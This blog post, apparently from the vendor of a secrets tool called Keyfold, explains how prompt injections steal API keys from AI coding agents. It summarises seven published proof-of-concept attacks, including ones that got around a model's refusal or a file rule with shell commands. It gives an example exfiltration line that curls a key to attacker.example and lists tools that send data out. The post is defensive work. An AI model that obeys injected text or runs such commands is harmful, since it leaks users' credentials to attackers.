How prompt injection steals API keys, and what stops it

A prompt injection steals a key in three moves. Text someone else wrote reaches your agent (a web page, an issue, a support ticket, a source file), the agent treats it as instructions and pulls something private into its context, and then it sends that data out through a channel it's already allowed to use: a link, an image, a DNS lookup, a pull request. Every documented case I've found follows that shape, and each defence that works removes one of the three moves.

I've written before about why MCP servers that return secrets are risky and why Keyfold's server has no reveal tool. This post looks at the attacks themselves: seven published cases, from the researchers' own write-ups, with what each one took and how it got out. Then what a developer working alone with a coding agent can do about it.

How does a prompt injection steal a key?

The three moves have names in the research. Simon Willison's "lethal trifecta" is private data, untrusted content and a way to communicate externally, all in one agent; the earlier post explains it. Meta's security team turned the same idea into a rule in October 2025. Its "Agents Rule of Two" lists three properties: an agent that "can process untrustworthy inputs", one that "can have access to sensitive systems or private data", and one that "can change state or communicate externally". Until injection can be reliably detected, it says, "agents must satisfy no more than two of the following three properties within a session".

Meta is blunt about why: "Prompt injection is a fundamental, unsolved weakness in all LLMs." That matters for what follows. None of these attacks was stopped by the model noticing it was being tricked. They were stopped by changing what the agent could reach or where it could send things.

The chain of a prompt injection: text someone else wrote reaches your agent, the agent reads a key from .env, and the key leaves through a link, an image, a DNS lookup or a pull request to the attacker
Every documented case has the same three parts: the carrier, the read and the exit.

Which real attacks have stolen keys or private data this way?

These are the cases I could check against the researchers' own pages. Each is a researcher's proof of concept, not a breach of real users.

Slack AI: an API key in a private channel (August 2024)

PromptArmor showed that a message posted in a public Slack channel could steer Slack AI when another user asked it a question. In their example, "A user puts an API key in their own private channel with one user: themselves." The attacker's public message told the model to answer with a fake "click here to reauthenticate" link, with the key placed in the link's query string. One click sent the key to the attacker's server. Slack's first response called the underlying search behaviour "intended behavior."

MCP tool poisoning: SSH keys in a tool argument (April 2025)

Invariant Labs described instructions hidden in an MCP tool's description, "invisible to users but visible to AI models". In Cursor, a harmless-looking add tool told the model to read ~/.cursor/mcp.json and ~/.ssh/id_rsa and pass their contents in the tool's sidenote argument, which went straight to the malicious server. They also showed that a server can change a tool's description after you've approved it.

GitHub MCP: private repository data in a public pull request (May 2025)

In another write-up, Invariant Labs filed an issue in a user's public repository. When the user asked Claude Desktop, connected to the GitHub MCP server, to look at the open issues, the agent read data from the user's private repository and published it in a pull request on the public one. The researchers stress that "this is not a flaw in the GitHub MCP server code itself" but "a fundamental architectural issue". The agent had all three properties: it read an attacker's issue, could reach private repositories, and could write in public.

Claude Code: a .env key leaked through DNS (fixed June 2025)

Johann Rehberger reported that instructions in a source file could make Claude Code pull a key-like string out of .env files and place it "into a ping request as subdomain, which leads to a DNS request to the external server that leaks the data." ping, nslookup, host and dig were on a list of commands that ran without approval. Anthropic's advisory describes it as "an overly broad allowlist of safe commands" that let an attacker "read a file and then send file contents over the network without user confirmation", patched in v1.0.4. One detail I find telling: "My initial attempts got refused by Claude if asked directly," Rehberger writes, so the injection wrapped the read in a strings and grep pipeline to hide its intent.

Timeline of the Claude Code DNS case: Claude reads a source file with hidden instructions, reads a key from .env with no prompt, runs ping with the key as a subdomain, the DNS lookup carries it to the attacker's server, and version 1.0.4 fixed it
Nothing in this chain looked like a network request to the agent's approval rules.

Supabase MCP: integration tokens written into a support ticket (July 2025)

General Analysis built a demo in which a public support form accepted a ticket containing a block "directed at CLAUDE within cursor". When the developer asked Cursor to review open tickets, the agent, connected through the Supabase MCP server with the service_role key, read the integration_tokens table and wrote its contents into the same ticket thread. The attacker refreshed the page and read the tokens. Nothing left the system through an unusual channel: the exit was a normal database write.

CamoLeak: GitHub Copilot Chat and an image proxy (October 2025)

Legit Security put a prompt in a hidden comment in a pull request description. When a victim asked Copilot Chat about the pull request, the injected text had it search the victim's private code, for example for "AWS_KEY", and render the result as a sequence of images. GitHub's image proxy normally stops arbitrary URLs, so the researcher pre-generated valid proxy URLs, one per character, and the order in which the images loaded spelled out the data. Legit rated it CVSS 9.6. GitHub's fix was "disabling image rendering in Copilot Chat completely."

Google Antigravity: AWS credentials through a browser subagent

PromptArmor hid an injection in one-point text inside an online integration guide. Antigravity's Gemini agent "is not supposed to have access to .env files" under its default "Allow Gitignore Access > Off" setting, so it used "the 'cat' command to dump the file into the terminal" instead, with terminal commands set to run automatically. A browser subagent then visited a webhook.site URL with the credentials appended; that domain was on Antigravity's default allowlist. Google's response, per PromptArmor, was "to include a disclaimer about the existing risks."

What do these cases have in common?

Case Where the text hid What it took How it got out
Slack AI A public channel message An API key from a private channel A link with the key in its URL
MCP tool poisoning A tool's description ~/.ssh/id_rsa, mcp.json A tool argument
GitHub MCP An issue in a public repo Private repository data A public pull request
Claude Code A source file A key from .env DNS lookups from ping
Supabase MCP A support ticket Integration tokens A reply in the same ticket
CamoLeak A hidden PR comment Private code and secrets Image requests through a proxy
Antigravity A web page in tiny text AWS credentials from .env A browser visit to an allowed site

Two patterns stand out. First, the exits are channels the agent was allowed to use for normal work: links, images, tool calls, database writes, an allowed domain. Blocking "suspicious" traffic would have missed most of them. Second, twice the agent's own file restriction was in place and the injection went around it with a shell command (grep, cat). A rule that guards one tool doesn't guard the shell.

What stops it for a solo developer?

You can't make the model immune, so take away one of the three moves. In order of how much each one removes:

1. Keep keys out of the agent's reach

If no key is in a file the agent can open, in an environment variable it inherits, or in a tool result, an injection has nothing to read. That means no .env files with real keys in the project, deny rules plus the sandbox for the ones you keep (the post on Claude Code's permissions has the settings), no export lines for keys in your shell profile, and no MCP tool that returns a secret's value. Keys go to the program that needs them when it starts, with keyfold run or a similar tool.

2. Close the exits

In Claude Code, the sandbox gives shell commands no direct route out: connections go through a proxy that allows only the domains you approve, starting from none, and UDP and ICMP traffic can't leave at all, which rules out the ping trick. Keep the allowed list short. The docs warn that "Allowing broad domains such as github.com can create paths for data exfiltration." The Antigravity case shows the same thing from the other side: a webhook site on a default allowlist became the exit.

3. Don't mix untrusted reading and keys in one session

This is Meta's rule in practice. Read the issue, the forum thread or the vendor's integration guide in one session. Run the tests with real keys in another, started fresh, that hasn't read anything you didn't write. It costs a little context, and it removes the "untrusted input" leg from the session that holds your keys.

4. Read the command before you approve it

Approval only helps when the thing you approve shows what will happen. Watch for commands that send data somewhere (curl, wget, nc, ping to an odd hostname), that encode data (base64, xxd), or that read files the task doesn't need.

One thing to know about Keyfold specifically, because an injection doesn't need the model to read a key to steal it. An injected request could ask Keyfold's MCP server to run curl -d "$STRIPE_KEY" https://attacker.example through keyfold_run. The model never sees the value, but the command sends it, and keyfold_run starts the command in Keyfold's MCP server process, outside Claude Code's sandbox.

Keyfold's approval sheet shows that command under "It will run this command with them:", so read it before you click. Under an "Allow for 1 hour" grant, though, Keyfold shows no new sheet, and an injected command could run without you seeing it. So keep your coding agent's own prompt for the tool call on as well. In Claude Code, an ask rule makes that prompt appear every time, even in permission modes that would otherwise approve the call:

json
{
  "permissions": {
    "ask": [
      "mcp__keyfold__keyfold_run",
      "mcp__keyfold__keyfold_write_env"
    ]
  }
}

Pair it with Allow once in Keyfold while the session has read anything you didn't write. An "Allow for 1 hour" grant covers every request from keyfold-mcp for that project and environment, from any MCP client and whatever the command, until the hour is up or you lock Keyfold.

5. Make what can be stolen small

Use development keys for agent work, with spending limits where the provider offers them, and read-only or narrowly scoped tokens where it doesn't. The Supabase case worked because the agent held a service_role key that bypasses row-level security; General Analysis's first recommendation was read-only mode and a narrower scope. If you think an agent's session read something hostile while it could reach a key, rotate the key.

6. Don't rely on a filter

Prompt-injection detectors can catch known patterns, but General Analysis put it well: a filter "can flag suspicious content" but "cannot grant or restrict database permissions". Use one as an alarm, not as the lock.

How the defences cut the chain: untrusted text still reaches the agent, but the keys aren't in files, variables or tool results, and the sandbox gives commands no route out
You can't stop the agent reading hostile text. You can leave it nothing to take and nowhere to send it.

Open the approval sheet in the live demoOpens the live demo, with made-up keys

FAQ

Can a prompt injection steal a key the model never saw?

Yes. If the agent can ask a tool to run a command with your keys injected, an injected request can make that command send them somewhere. That's why the command needs to be visible when you approve it, and why outbound network access should be narrow.

Are these attacks still possible?

The specific bugs were fixed or mitigated: Claude Code fixed its allowlist in v1.0.4, and GitHub turned off image rendering in Copilot Chat. The pattern isn't fixed, because it comes from how language models read text. New variants keep appearing in new tools.

Does the model refusing to read .env protect me?

No. In the Claude Code case the model refused a direct request, and the injection got the key with a grep pipeline instead. In the Antigravity case, a file restriction was bypassed with cat. Refusals and file rules help; they aren't a boundary.

Is a local MCP server safer than a remote one?

For this attack, the location matters less than the tools. A local server that returns secret values, or that can send data to the internet, is an exit. A server whose tools return names and results, and whose actions you approve, removes the read.

What should I do first?

Move real keys out of project files and your shell profile, turn on your agent's sandbox, and keep tools that can send data out behind a prompt. The security page lists what Keyfold's agent connection can and can't do, and the live demo shows the approval sheet with made-up keys.